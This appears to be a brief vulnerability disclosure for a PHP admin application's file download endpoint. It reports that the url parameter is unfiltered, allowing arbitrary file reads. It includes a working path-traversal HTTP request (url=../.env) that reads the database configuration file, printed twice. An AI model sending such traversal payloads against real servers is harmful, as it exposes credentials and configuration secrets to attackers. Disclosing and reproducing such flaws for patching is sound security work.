Vulnerability Details:
Vulnerability location
Vulnerability occurs in
The app\admin\controller\File#download method directly does not filter the incoming url, causing arbitrary file reading
Vulnerability reproduction Read the database configuration file.env
GET /admin1/file/download?url=../.env&title=英文.png HTTP/1.1 Host: 192.168.3.129:8091 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.3.129:8091/admin1/file/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def Connection: close
Vulnerability reproduction Read the database configuration file.env
GET /admin1/file/download?url=../.env&title=英文.png HTTP/1.1 Host: 192.168.3.129:8091 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.3.129:8091/admin1/file/index Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def Connection: close